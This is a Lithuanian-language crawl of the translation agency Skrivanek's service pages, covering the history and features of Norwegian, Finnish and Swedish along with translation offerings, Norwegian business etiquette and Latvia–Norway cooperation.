įrodymai – runų paminklai – datuojami II amžiumi. Kalbos pokyčiai (VI–VIII a. ) lėmė trijų atšakų atsiradimą. Vikingų laikotarpiu (IX–XIV a. ), suskilus senajai norvegų kalbai, susiformavo senoji danų, senoji norvegų ir senoji švedų kalbos. Šiomis kalbomis buvo kalbama daug didesnėje teritorijoje nei šiandien. Nuo IX a. vidurio Islandijoje ir Farerų salose apsigyvenę norvegų vikingai, daugiausia iš vakarinės šalies dalies, kolonizavo savo senąją norvegų kalbą, iš kurios vėliau išsivystė islandų ir farerų kalbos. Senąja norvegų kalba buvo kalbama Norvegijoje (nuo VIII a. ) ir Islandijoje (nuo IX a. iki XIV a. vidurio). Šiandien islandų kalba yra palyginti nepasikeitusi, todėl islandai gali skaityti tekstus senąja norvegų kalba. Atsiradus krikščionybei Norvegijoje XI a. senojoje norvegų kalboje pradėtas naudoti lotyniška abėcėlė, kuri palaipsniui pakeitė runų raštą. Pagrindiniai įrodymai – ranka rašyti religiniai tekstai ir įstatymų kodeksai – datuojami XII a. , užfiksuota skaldų poezija ir pagrindiniai Islandijoje sukurti senosios norvegų kalbos kūriniai – sagos ir edos, parašytos XIII a. Vėlyvaisiais viduramžiais Norvegijai tapus Danijos dalimi, norvegų kalba palaipsniui tapo nebevartojama. Nors šiuo laikotarpiu nebuvo rašytinės norvegų kalbos, norvegai kalbėjo kalba, kuri nedaug skyrėsi nuo šiuolaikinių norvegų tarmių. Šnekamoji norvegų kalba toliau gyvavo ir plėtėsi. XVIII a. pabaigoje tarp norvegų intelektualų išaugo nacionalinis pasitikėjimas savimi. Jukos laikais, po Napoleono karų, 1814 m. 17 d. gegužės mėnesį Eidsvolyje priimama Norvegijos Konstitucija. Tais pačiais metais Norvegija tapo autonomine šalimi, sudariusi personalinę sąjungą su Švedija. Nors danų kalba yra gimininga ir panaši į norvegų kalbą, naujoje politinėje situacijoje ji tapo svetima kalba. Išryškėjo trys skirtingi požiūriai: 1) Danų rašytinės kalbos norveginimas. 2) Pageidautina išlaikyti danų rašytinę kalbą, kad nenutrūktų kultūriniai ryšiai su Danija. 3) Sukurti naują rašytinę kalbą, paremtą senovine tarme. Antrasis požiūris nesulaukė didelio palaikymo, tačiau iš pirmojo požiūrio kilo Bukmolas, o iš trečiojo – naujoji norvegų kalba. NAUJOSIOS NORVEGŲ KALBOS SUKŪRIMAS Ivaras Osenas (Ivar Aasen, 1813–1896) sukūrė naująją norvegų kalbą, paremtą norvegų tarmėmis. Osenas gavo kelionės stipendiją, kurią panaudojo trejus metus keliaudamas beveik po visą Norvegiją ir rinkdamas kalbinę medžiagą. Remdamasis šia medžiaga, 1848 m. jis išleido norvegų kalbos gramatiką, o 1850 m. – žodyną. Naudodamasis tarmine medžiaga, jis norėjo sukurti rašytinės kalbos normą. Jis pasirodė naujuose minėtų veikalų leidimuose: 1864 m. gramatikoje ir 1873 m. žodyne. Pagrindinis rašytinės kalbos raidos principas buvo tarmių palyginimas. Kai kildavo abejonių, jis pasirinkdavo formą, artimesnę senajai norvegų kalbai. Idėja įvesti naują rašytinę kalbą gali atrodyti labai nerealistiškai. Naujoji norvegų kalba tapo gyva rašytine kalba, o ne nevykusiu lingvistiniu eksperimentu, nes ji pradėta vartoti spaudoje, literatūroje ir teatre. Naujoji norvegų kalbos leidykla „Det Norske Samlaget“ buvo įkurta 1868 m. ir šiandien tebėra viena didžiausių leidyklų. Visos jos leidžiamos knygos yra nauja norvegų kalba. Ši nauja kalba buvo skirta ne tik „vidaus žmonėms“, bet ir visai visuomenei, ir tai, atrodo, buvo svarbus veiksnys, lėmęs naujosios norvegų kalbos pripažinimą ir pagarbą jai. BUKMOLAS Bukmolų (norv. Bokmål – „knygų kalba“), iki 1929 m. vadinta riksmål, yra viena iš dviejų standartinių norvegų kalbų. Kaip ir kita standartinė kalba (naujoji norvegų kalba), ji iš esmės yra rašytinė kalba, nes dauguma norvegų kalba tarmėmis, kurios įvairiai skiriasi nuo rašytinės kalbos. Bukmolų kalba yra artima danų kalbai, iš kurios iš dalies buvo jis buvo sukurtas XIX a. Iš dviejų norvegiškų rašybų šalyje plačiausiai vartojamas Bukmolas. Bukmolą vartoja apie 85–90 % Norvegijos gyventojų. Išimtis – Vakarų Norvegija, kur dauguma kalba naująja norvegų kalba. Užsienio studentai taip pat dažniau mokosi Bukmolo. Senasis rašymo standartas, vadinamas riksmoliu, nebėra oficiali kalba, tačiau anksčiau buvo plačiai naudojamas laikraščiuose ir rašytojų darbuose. Danijos ir Norvegijos sąjungos laikotarpiu (1536–1814 m. ) oficiali Norvegijos kalba buvo danų kalba. Tuo metu Norvegijos miestų, ypač sostinės Kristianijos (dabar Oslo), intelektualinis elitas taip pat naudojo daniškąjį raštą. 1899 m. buvo pradėtas riksmolio judėjimas, po kurio 1907 m. buvo įkurta riksmolio draugija. Riksmolis buvo adaptuota daniška rašyba. 1907. ir 1917 m. reformos formalizavo riksmolį, o 1907 m. laikomi riksmolių atskyrimo nuo danų kalbos metais. 1929 m. buvo oficialiai priimtas pavadinimas „bukmolas“ vietoj „riksmolis“. 1917 ir 1938 m. kalbos reformos metu bukmolio kalba buvo priartinta prie naujosios norvegų kalbos, ketinant ateityje šias dvi kalbos formas sujungti į bendrą norvegų kalbą (norv. samnorsk). Po Antrojo pasaulinio karo situacija pasikeitė, nes bukmolo judėjimas ėmė prieštarauti konvergencijai, o dėl 1981 m. reformos bukmolas tapo konservatyvesnis. NORVEGŲ KALBOS ABĖCĖLĖ Danų ir norvegų abėcėlės pagrįstos lotynų abėcėle ir nuo 1917 m. (norvegų kalboje) ir 1948m. (danų kalboje) susideda iš 29 raidžių – 23 lotyniškos raidės ir „J“, „W“, „U“, „Æ“, „Ø“ ir „Å“. Abiejose kalbose yra 35 fonemos: devyni balsiai (i, e, æ, a, å, o, u, y, ø); šeši dvigarsiai (au, ei, øy (senoji norvegų kalba)), (oi, ui (senoji norvegų kalba)), (ai); 20 priebalsių (b, d, f, g, h, j, k, kj, l, m, n, ng, p, r, s, sj, t, v). Visi balsiai gali būti trumpieji arba ilgieji. Raidės „C“, „Q“, „W“, „X“ ir „Z“ nevartojamos rašant vietinius žodžius. Norvegų kalboje jie vartojami retai, nes skolinių ortografija paprastai pritaikoma prie gimtosios garsų sistemos. Priešingai, danų kalba linkusi išlaikyti originalią skolinių rašybą. Visų pirma, danų kalboje „c“, reiškiantis /s/, beveik niekada nenormalizuojamas į „s“, kaip dažniausiai būna norvegų kalboje. Daugelyje žodžių, kilusių iš lotyniškų šaknų, daniškoje rašyboje išlieka raidė „c“, pvz. , norvegiškas sentrum ir daniškas centrum. Rašyba atitinka fonetinius ir etimologinius principus, vartojama lotynų kalbos abėcėlė su trimis balsais „æ“, „ø“, „å“. Raidė „å“ buvo įtraukta į ortografiją 1917 m. dėl rašybos reformų, pakeitusi raidę „aa“. Naujoji raidė kilo iš švedų abėcėlės, kurioje ji oficialiai naudojama nuo XVI a. Šiandien šis raidžių junginys išliko asmenvardžiuose. Skirtumas tarp danų–norvegų ir švedų abėcėlių yra tas, kad švedų kalboje vietoj „Æ“ naudojamas variantas „Ä“, o vietoj „Ø“ – „Ö“, panašiai kaip vokiečių kalboje. Švedų kalboje šių trijų raidžių palyginimo tvarka taip pat skiriasi: „Å“, „Ä“, „Ö“. Visose skandinavų kalbose, taip pat ir suomių kalboje, „Æ“ ir „Ä“ išdėstomi kartu, kaip ir „Ø“ bei „Ö“. Dabartinėje danų ir norvegų kalbose raidė „W“ pripažįstama kaip atskira raidė nuo „V“. AR LABAI SUDĖTINGA NORVEGŲ KALBA? Užsienio kalbos mokymasis visada reikalauja daug laiko, nes taip ne tik papildome savo žinias, bet ir gauname naujos informacijos apie žmones, šalį, jų kultūrą ir tradicijas. Kaip ir švedų bei daugelis kitų skandinavų kalbų, norvegų kalba yra viena iš lengviausiai išmokstamų kalbų anglakalbiams. Kaip ir švedų bei olandų kalbomis, norvegiškai kalbantys asmenys dažnai kalba angliškai, todėl kartais gali būti sunku praktikuotis. Norvegų kalba turi daug panašių žodžių ir gramatinių ypatybių į anglų kalbą, todėl neturėtų būti sunku išmokti pagrindus. Žodžių tvarka sakinyje yra tokia pat kaip ir anglų kalbos sakiniuose. Jei mokate olandų arba vokiečių kalbą, norvegų kalbą išmokti bus gana lengva. Taip yra todėl, kad norvegų kalba yra šiaurės germanų kalba ir jos gramatika gali būti laikoma supaprastinta vokiečių kalbos gramatikos versija. Olandų kalba rašytine forma yra labai artima norvegų kalbai, tačiau šnekamoji kalba labai skiriasi. Didžiausias iššūkis mokantis norvegų kalbos gali būti kirtis. Neteisingai ištarus žodį, jo reikšmė gali būti visiškai kitokia. Kai kurios raidės tariamos skirtingai, atsižvelgiant į tai, kurioje žodžio vietoje jos yra. Norvegų kalba turi daug rašybos giminiškų žodžių su anglų kalba, tačiau šie žodžiai iš tikrųjų turi labai skirtingas reikšmes, pvz. : anglų kalboje gift – „dovana“, norvegų kalboje gift – „vedęs, nuodai“; anglų kalboje and – „ir“, norvegų kalboje and – „antis“. Užsienio tarnybos instituto duomenimis, norint gana laisvai kalbėti norvegiškai, reikia maždaug 575 valandų pamokų (arba 23 savaičių). Jei turite galimybę gyventi aplinkoje, kurioje norvegų kalba yra gimtoji, galite laisvai kalbėti norvegiškai jau po vienerių metų. Tačiau, žinoma, viskas priklauso nuo jūsų pačių noro, pasiryžimo, kalbos supratimo ir laiko išteklių panaudojimo. KUR IR KIEK KALBAMA NORVEGŲ KALBA? Vienintelė šalis, kurioje norvegų kalba yra valstybinė, nenuostabu, kad Norvegija. Norvegijoje taip pat yra dar viena oficiali kalba – samių kalba, kuria kalba šiaurės Norvegijoje gyvenantys samiai. Tačiau samių kalba nėra šiaurės germanų kalba, todėl ji nėra tarpusavyje suprantama su norvegų kalba. Beveik visi daugiau nei 5 mln. Norvegijos gyventojų kalba norvegiškai. Vienintelė kita šalyje plačiai paplitusi kalba yra anglų, kuria kalba apie 4 300 000 žmonių. Beveik visi anglakalbiai Norvegijoje mokosi anglų kaip antrosios kalbos. Kitose šalyse, išskyrus Norvegiją, nėra daug norvegiškai kalbančių žmonių. Ispanijoje gyvena viena didžiausių bendruomenių, kurią sudaro apie 50 000 norvegų, iš kurių daugelis persikėlė į šią išėję į pensiją. Jungtinėse Amerikos Valstijose gyvena apie 40 000 norvegiškai kalbančių žmonių, norvegų taip pat galima sutikti visoje Europoje. Švedijoje ir Danijoje yra pakankamai norvegakalbių, nes dėl norvegų, švedų ir danų kalbų tarpusavio suprantamumo šių kalbų lengva išmokti. NORVEGŲ KALBOS VERTĖJAS ŽODŽIU IR RAŠTU „Skrivanek“ norvegų kalbos vertėjų raštu ir žodžiu komanda atlieka tiek standartinius, tiek sudėtingus techninių ar medicininių dokumentų vertimus, taip pat notaro patvirtintus vertimus į norvegų kalbą arba iš jos. Taip pat atliekame norvegiškų tekstų korektūrą ir stilistinį tobulinimą. Žinoma, kalbos ekspertai gali suteikti informacijos apie kultūrinius skirtumus, verslo etiketą, istoriją ir tradicijas. Visi vertėjai raštu, vertėjai žodžiu, korektoriai ir redaktoriai yra pasirašę konfidencialumo sutartį, todėl galite mums patikėti savo dokumentų originalus – jų saugumu pasirūpinsime! Verslo klientams iš / į norvegų kalbą dažniausiai verčiame šiuos tekstus: svetainių turinio vertimus ir adaptacijas, elektroninės prekybos tekstus, reklaminius šūkius, skaitmeninės rinkodaros tekstus, bendradarbiavimo sutartis, verslo dokumentų vertimus, techninių tekstų vertimus. Taip pat teikiame nuosekliojo ir sinchroninio vertimo paslaugas verslo ir kitiems pokalbiams, konferencijoms ir kitiems renginiams. Taip pat siūlome nuoseklųjį ir sinchroninį vertimą norvegų kalba internetu – per „Zoom“ ar bet kurią kitą platformą. Fiziniams asmenims verčiame asmens tapatybės dokumentus, santuokos liudijimus, vaikų gimimo liudijimus, išsilavinimo dokumentus, pasus, medicininius dokumentus ir kt. dokumentus. NORVEGŲ KALBA VERSLUI Norvegija yra viena turtingiausių pasaulio šalių, tačiau joje gyvena tik apie 5 mln. gyventojų. Norvegija yra labai nepriklausoma ir mėgsta pati tvarkyti savo reikalus, todėl dar nėra įstojusi į Europos Sąjungą. Norvegija, Islandija, Šveicarija ir Lichtenšteinas yra ELPA (Europos laisvosios prekybos erdvės), bendros ES/ELPA ekonominės erdvės ir Europos ekonominės erdvės narės. Norvegija ir Islandija, kurios nėra ES šalys, yra Šengeno susitarimo narės. Tai reiškia, kad norvegai gali keliauti taip pat laisvai kaip ir ES šalių piliečiai. Norvegai yra labai patriotiški ir didžiuojasi savo šalimi. Jie beveik neabejotinai mano, kad Norvegija pasaulinėje arenoje yra svarbesnė nei iš tikrųjų. Pagrindinė kalba – norvegų, tačiau tolimojoje šiaurėje gyvenantys samiai turi savo kalbą, kuri visiškai skiriasi nuo norvegų kalbos. Norvegai visada vertino užsienio kalbų mokėjimą. Kadangi jų kalba tokia maža, jie priversti mokytis kitų kalbų, kad galėtų susikalbėti su likusiu pasauliu. Beveik visi norvegai puikiai kalba angliškai. Palyginti su kitomis Europos šalimis, norvegai garsėja geru anglų kalbos mokėjimu. Daugelis norvegų mėgsta pasigirti savo įgūdžiais su vokiškai kalbančiais žmonėmis, todėl dauguma norvegų taip pat kalba vokiškai. Pastaraisiais metais Norvegijos studentai vis dažniau renkasi ispanų kalbą kaip užsienio kalbą. Bendraudami su norvegais, nepamirškite, kad norvegai yra neformalūs žmonės. Gali susidaryti įspūdis, kad jie yra šalti ir nuošalūs, bet taip yra tik todėl, kad jie yra drovūs ir paprastai nekalba su nepažįstamaisiais. Jie mėgsta elgtis profesionaliai ir kontroliuoja savo asmeninius jausmus versle. Norvegams paprastai reikia laiko, kad atsivertų ir užmegztų kontaktą su užsieniečiais. Tačiau kai jie pagaliau tai padarys, bendradarbiavimas bus ilgalaikis. Norvegai įtariai žiūri į žmones, kurie iš pradžių yra pernelyg atviri ir paslaugūs, ir mano, kad tai klastinga ir paviršutiniška. Užsiimdami verslo reikalais norvegai mėgsta atsiriboti kelioms minutėms ir tik tada imtis darbo. Jie nemėgsta gaišti laiko kalbėdami apie dalykus, kurie neturi prasmės. Norvegai vertina punktualumą ir sutarto grafiko laikymąsi. Jie pageidauja nedirbti viršvalandžių, o jei problema neišsprendžiama iki penktadienio popietės 16 val. , geriau ją palikti iki pirmadienio ryto. Norvegai taip pat garsėja tuo, kad atskiria savo profesinį ir asmeninį gyvenimą. Pasibaigus susitikimui, jie paprastai nueina savais keliais ir vargu, ar pakvies naują verslo partnerį į savo namus. Norvegai labai vertina savo asmeninį gyvenimą ir brangina laiką, praleistą su draugais ir šeima. Savaitgaliais jie mėgsta pabėgti nuo kasdienio streso, todėl dauguma jų turi hytte, t. y. namelį ar kalnų namelį idiliškoje vietoje netoli gamtos. Jie mėgsta savo kalvų šlaitus, ežerus ir kalnus, labai mėgsta pasivaikščiojimus kalnuose, žygius pėsčiomis ir žvejybą. Taigi norvegų kalba nėra labai svarbi pasaulinėje verslo arenoje, tačiau ji svarbi, jei norite tapti patikimu verslo partneriu arba kurti verslą Norvegijoje. Norvegai pasirengę aptarti verslo sandorius angliškai arba vokiškai, tačiau jei potencialus verslo partneris moka norvegų kalbą, verslo sėkmė šioje turtingoje ir ekonomiškai perspektyvioje šalyje garantuota. NORVEGIJOS IR LATVIJOS BENDRADARBIAVIMAS Latvijos ir Norvegijos bendradarbiavimas yra platus ir įvairus. Labai vertinamas bendradarbiavimas gynybos, karinėje, kultūros ir ekonomikos srityse. Norvegija yra svarbi Latvijos užsienio prekybos partnerė ir abi šalis sieja stabilūs ekonominiai santykiai . Latvijos užsienio ekonomikos atstovybė Norvegijoje teikia paramą Latvijos verslininkams eksporto skatinimo srityje, informaciją apie verslo pradžią ir investavimo galimybes, taip pat padeda skatinti užsienio prekybą. Latvijos ir Norvegijos kultūriniai ryšiai tradiciškai buvo labai glaudūs. Bendradarbiauja bibliotekos ir rašytojų organizacijos, teatrai, muzikantai, filmų kūrėjai, dizaineriai, festivalių organizatoriai, vizualiųjų menų kūrėjai, muziejų specialistai, kultūrinio švietimo įstaigos ir daugelis kitų kultūros profesijų atstovų. EEE ir Norvegijos finansinės priemonės buvo panaudotos Rainio ir Aspazijos muziejaus bei Janio Akuraterio muziejaus atnaujinimui, o Lilehamerio muziejų asociacija buvo bendradarbiavimo partneris. Žalioji sinagoga Rėzeknėje taip pat buvo restauruota gavus dalinę finansinės priemonės paramą. Su Norvegija švietimo srityje daugiausia bendradarbiaujama pagal daugiašales programas ir projektus, taip pat pagal atskirų institucijų ir savivaldybių bendradarbiavimo susitarimus ir projektus. Kai kurios Latvijos valstybinės ir privačios aukštosios mokyklos aktyviai bendradarbiauja su Norvegijos aukštosiomis mokyklomis. Norvegų kalbos mokoma trijose Latvijos bendrojo lavinimo mokyklose – Šiaurės šalių gimnazijoje, Rygos Kengarago vidurinėje mokykloje ir Valmieros Pargaujos gimnazijoje. Latvijos švietimo įstaigos ir kitos organizacijos bendradarbiauja su Norvegijos kolegomis pagal Europos Sąjungos švietimo, mokymo, jaunimo ir sporto programas „Erasmus+“ ir „Erasmus+: veiklus jaunimas“. Latviją ir Norvegiją gynybos srityje vienija narystė Šiaurės Atlanto sutarties organizacijoje – NATO. Istoriškai Norvegija teikė didelę paramą Latvijos gynybos sektoriaus plėtrai, padėdama modernizuoti Latvijos nacionalines ginkluotąsias pajėgas, padėdama įsteigti Nesprogusios amunicijos neutralizavimo mokyklą ir Latvijos nacionalinių ginkluotųjų pajėgų Jūrininkų mokymo centro narų mokyklą. Specialiosios paskirties pajėgos taip pat nuolat bendradarbiauja. Norvegija remia Baltijos jūros pajėgų tarptautinius kursus Latvijoje ir Baltijos gynybos koledžą „BALTDEFCOL“. Norvegija taip pat yra padovanojusi Latvijai karinės įrangos. Abiejų šalių ginkluotosios pajėgos dalyvavo pratybose Latvijoje ir Norvegijoje. Norvegijos ginkluotosios pajėgos buvo dislokuotos Latvijoje vykdant NATO saugumo stiprinimo veiklą ir dalyvavo Latvijos valstybės atkūrimo dienos paraduose. Norvegijos karinių oro pajėgų orlaiviai dalyvavo keliuose Baltijos šalių oro erdvės patruliavimuose. Norvegijos Karalystės ambasada įsikūrusi Rygoje, o nepaprastasis ir įgaliotasis ambasadorius Latvijoje nuo 2018 m. rugsėjo 4 d. yra Kristian Ødegaard. SPRENDIMAI, KURIUOS DAŽNIAUSIAI TEIKIAME NORVEGŲ KALBA: įvairių dokumentų vertimai į norvegų kalbą; skubūs rašytiniai vertimai; notaro patvirtinti vertimai į norvegų kalbą; interneto svetainės vertimas; norvegiškų tekstų korektūra; tekstų adaptacija ir kūrybinių tekstų rengimas; DTP – grafinio dizaino paslaugos; vertimas žodžiu į norvegų kalbą; norvegų kalbos kursai. NORVEGŲ KALBOS KOMBINACIJOS: norvegų–latvių; latvių–norvegų; norvegų–lietuvių; lietuvių–norvegų; estų–norvegų; norvegų–estų; anglų–norvegų; norvegų–anglų; rusų–norvegų; norvegų–rusų; lenkų–norvegų; norvegų–lenkų; ukrainiečių–norvegų; norvegų–ukrainiečių; čekų–norvegų; norvegų–čekų; vokiečių–norvegų; norvegų–vokiečių; ispanų–norvegų; norvegų–ispanų; prancūzų–norvegų; norvegų–prancūzų; italų–norvegų; norvegų–italų; danų–norvegų; norvegų–danų; švedų–norvegų; norvegų–švedų; norvegų–norvegų; norvegų–norvegų; suomių–norvegų; norvegų–suomių ir kt. --- > Kalbų sprendimai daugiau nei 300 suomių kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - Published: 2022-07-13 - Modified: 2024-08-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-somu-valoda/ - Translation Priorities: Optional Ieškote kalbinių sprendimų suomių kalba? Susisiekite su mumis! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti Kokybės ir nuoseklumo garantija, patvirtinta ISO sertifikataisMūsų projektų vadovai kalba latvių, rusų, anglų, vokiečių ir lenkų kalbomis99 % klientų pasiūlymą gauna greičiau nei per 15 minučiųDaugiau nei 3 000 kalbos specialistų ir gimtakalbiųDaugiau nei 98 % klientų norėtų mus rekomenduoti savo draugams ir partneriamsKasmet mūsų biure išverčiama daugiau kaip 16 milijonų žodžių. SPRENDIMAI, KURIUOS DAŽNIAUSIAI TEIKIAME IŠ / Į SUOMIŲ KALBĄ: įvairių dokumentų vertimai į suomių kalbą; skubūs rašytiniai vertimai; notaro patvirtinti vertimai; lokalizacija; interneto svetainės vertimas į suomių kalbą; mašininis vertimas su redagavimu; tekstų adaptacija ir kūrybinių tekstų rengimas; DTP – grafinio dizaino paslaugos; suomių kalbos vertimai žodžiu; individualūs suomių kalbos kursai. SUOMIŲ KALBOS KOMBINACIJOS: latvių–suomių; suomių–latvių; estų–suomių; suomių–estų; lietuvių–suomių; suomių–lietuvių; rusų–suomių; suomių–rusų; lenkų–suomių, suomių–lenkų, ukrainiečių–suomių, suomių–ukrainiečių; čekų–suomių; suomių–čekų; vokiečių–suomių; suomių–vokiečių; ispanų–suomių; suomių–ispanų; prancūzų–suomių; suomių–prancūzų; italų–suomių; suomių–italų; danų–suomių; suomių–danų; švedų–suomių; suomių–švedų; norvegų–suomių; suomių–norvegų; anglų–suomių, suomių–anglų ir kt. FAKTAI APIE SUOMIŲ KALBĄ Suomių kalba priklauso Baltijos jūros finougrų kalbų šeimai. Tai valstybinė Suomijos kalba ir viena iš oficialiųjų Europos Sąjungos kalbų. Suomių kalba Švedijoje yra mažumos kalba. Pasaulyje – JAV, Estijoje, Rusijoje, Norvegijoje, Suomijoje ir Švedijoje – suomiškai kalba apie 5,23 mln. žmonių. Suomių kalba yra gimininga estų ir lyvių kalboms ir turi dvi tarmių grupes – vakarų ir rytų, kurios dar skirstomos į septynis pogrupius. Suomių literatūrinės kalbos pagrindą sudaro šalies vakarų tarmė. Suomių kalbos raidai įtakos turėjo istorinė situacija Suomijoje. Nuo XIII a. iki 1809 m. , kai ši teritorija priklausė Švedijos karalystei, buvo jaučiama stipri švedų kalbos įtaka, o kai teritorija priklausė Rusijos imperijai, į kalbą pateko daug rusicizmų. Po suomių nacionalinio atgimimo, ypač 1920–1940 m. , suomių literatūra suklestėjo: buvo išleista pirmoji suomių kalbos gramatika, įkurta Suomių literatūros draugija, sukurti žodynai. 1863 m. Suomijoje suomių kalbai buvo suteiktas valstybinės kalbos statusas, tačiau dar XX a. pradžioje, pavyzdžiui, parduotuvių pardavėjai į žmones vis dar kreipdavosi švediškai. XIII a. datuojami seniausi rašytiniai dokumentai– rankraščiai. Pirmoji spausdinta knyga Suomijoje buvo 1543 m. išleista M. Agricolos „Abėcėlė“. Iki XIX a. vidurio buvo leidžiamos daugiausia religinio turinio knygos. Suomių kalboje yra daug šnekamosios kalbos žargono, ypač vadinamojo stadin slangi („Helsinkio žargono“). Įdomu tai, kad šiuo slengu kalba ne tik jaunimas, bet ir vyresnio amžiaus žmonės. Slengui ypač didelę įtaką daro kalbos ekonomijos principas, t. y. tendencija trumpinti žodžius, todėl trumposios žodžių formos vartojamos ir šnekamojoje, ir rašytinėje kalboje. Šnekamoji kalba turi tendenciją dominuoti prieš literatūrinę kalbą. Net dėstytojai paskaitose vartoja slengo žodžius. Literatūrinė kalba Suomijoje vartojama švietime (pvz. , oficialiose kalbose), žiniasklaidoje ir viešajame administravime. Suomių kalboje vartojama lotynų abėcėlė. Tarimas ir rašyba gana panašūs, dažniausiai ta pati raidė atitinka tą patį garsą. Visi balsiai yra trumpieji ir ilgieji. Visi priebalsiai, išskyrus „d“, „v“ ir „j“, taip pat gali būti tariami pailgintai. Garsų ilgesys žymimas dviguba raide. Žodžio pirmasis skiemuo visada kirčiuojamas pagrindiniu kirčiu. Suomiai laikosi to paties principo ir kalbėdami apie svetimžodžius. Sakiniai paprastai turi krentančią intonaciją, o klausiamieji sakiniai neturi kylančios intonacijos. Šiai kalbai būdinga daug balsių ir dvibalsių – pastarųjų net 16. Daiktavardžiai turi turtingą linksniavimo sistemą – 15 linksnių, bet neturi giminės kategorijos. Kalboje nevartojami artikeliai ir nėra veiksmažodžių rūšių. Suomių kalboje yra tik viena linksniuotė. Priklausomybė išreiškiama ne įvardžiais, o konkrečiomis savybinėmis priesagomis. Veiksmažodžiai turi tik vieną asmenuotę. Suomių kalbos žodyne yra daug skolinių iš baltų, germanų ir slavų kalbų. Nors suomiai, atrodo, nenoriai vartoja svetimžodžius, o daugeliui tarptautinių žodžių sukuria savus žodžius, šiuolaikinėje suomių kalboje vis dar yra daug anglicizmų ir amerikonizmų. Mokslininkai šią tendenciją aiškina dideliu jaunimo susidomėjimu JAV popkultūra. Kalbos kodas ISO 639-1: fi --- > Kalbų sprendimai daugiau nei 300 švedų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - Published: 2022-07-13 - Modified: 2024-08-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-zviedru-valoda/ - Translation Priorities: Optional Ieškote kalbinių sprendimų švedų kalba? Susisiekite su mumis! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti ISO sertifikatais patvirtinta kokybės ir konfidencialumo garantijaMūsų projektų vadovai kalba latvių, rusų, anglų, vokiečių ir lenkų kalbomis99 % klientų pasiūlymą gauna greičiau nei per 15 minučiųDaugiau nei 3 000 kalbos specialistų ir gimtakalbiųDaugiau nei 98 % klientų norėtų mus rekomenduoti savo draugams ir partneriamsKasmet mūsų biure išverčiama daugiau kaip 16 milijonų žodžių. VERTIMAI Į ŠVEDŲ KALBĄ KIEK KAINUOJA VERTIMAS Į ŠVEDŲ KALBĄ? Vertimų iš / į švedų kalbą kaina nustatoma individualiai kiekvienam užsakymui. Kainai taikomos tam tikros sąlygos pagal dabartinį „Skrivanek“ kainoraštį. Nuosekliųjų vertimų kaina priklauso nuo paslaugos suteikimo laiko, kalbų kombinacijos, į kurią reikės versti. Rašytinių vertimų kainą lemia verčiamos medžiagos apimtis, vertimo terminai, specifinis teksto turinys, teksto pasikartojimas vertime, grafinis apdorojimas, formatavimas, korektūra ir kliento pasirinktos papildomos paslaugos. AR YRA VERTIMŲ KAINORAŠTIS? Taip, vertimo raštu, vertimo žodžiu (sinchroninio ir nuosekliojo), lokalizavimo ir adaptavimo iš švedų kalbos ir į švedų kalbą paslaugų kainoraštis yra neatsiejama mūsų bendradarbiavimo sutarties su klientais dalis. Vertimo projektų vadovai pateikia išsamią informaciją apie vertimo kainą prieš pradedant vertimo projektą. Kiekvieno užsakymo kaina nustatoma individualiai pagal dabartinį „Skrivanek“ kainoraštį, atsižvelgiant į originalo teksto žodžių skaičių, vertimo dubliavimąsi ir kitus parametrus. Laukiame jūsų medžiagos vertimui el. paštu, kad galėtume pateikti pasiūlymą. ĮDOMŪS FAKTAI APIE ŠVEDŲ KALBĄ Švedų kalba priklauso indoeuropiečių kalbų šeimos šiaurės germanų pogrupiui. Ji gimininga norvegų, danų ir islandų kalboms, iš kurių danų kalba yra artimiausia, o norvegų – tolimiausia. Šia kalba kalba apie 10 mln. žmonių, ji yra oficiali Švedijos valstybinė kalba, antroji Suomijos valstybinė kalba, viena iš oficialių Europos Sąjungos ir Šiaurės Tarybos kalbų. Švedijoje yra apie 9,4 mln. švedų kalbos vartotojų, Suomijoje – 290 000, JAV – 70 000, Ispanijoje – 40 000, Jungtinėje Karalystėje – 30 000, Kanadoje – 20 000. Švedų kalba yra didžiausia iš Šiaurės šalių kalbų pagal kalbėtojų skaičių. Kadangi visoms skandinavų kalboms istoriškai turėjo įtakos žemoji vokiečių kalba, švedai, suomiai ir norvegai ir šiandien gali suprasti vieni kitų kalbą. Manoma, kad 30–40 %. skandinavų kalbų žodžių yra 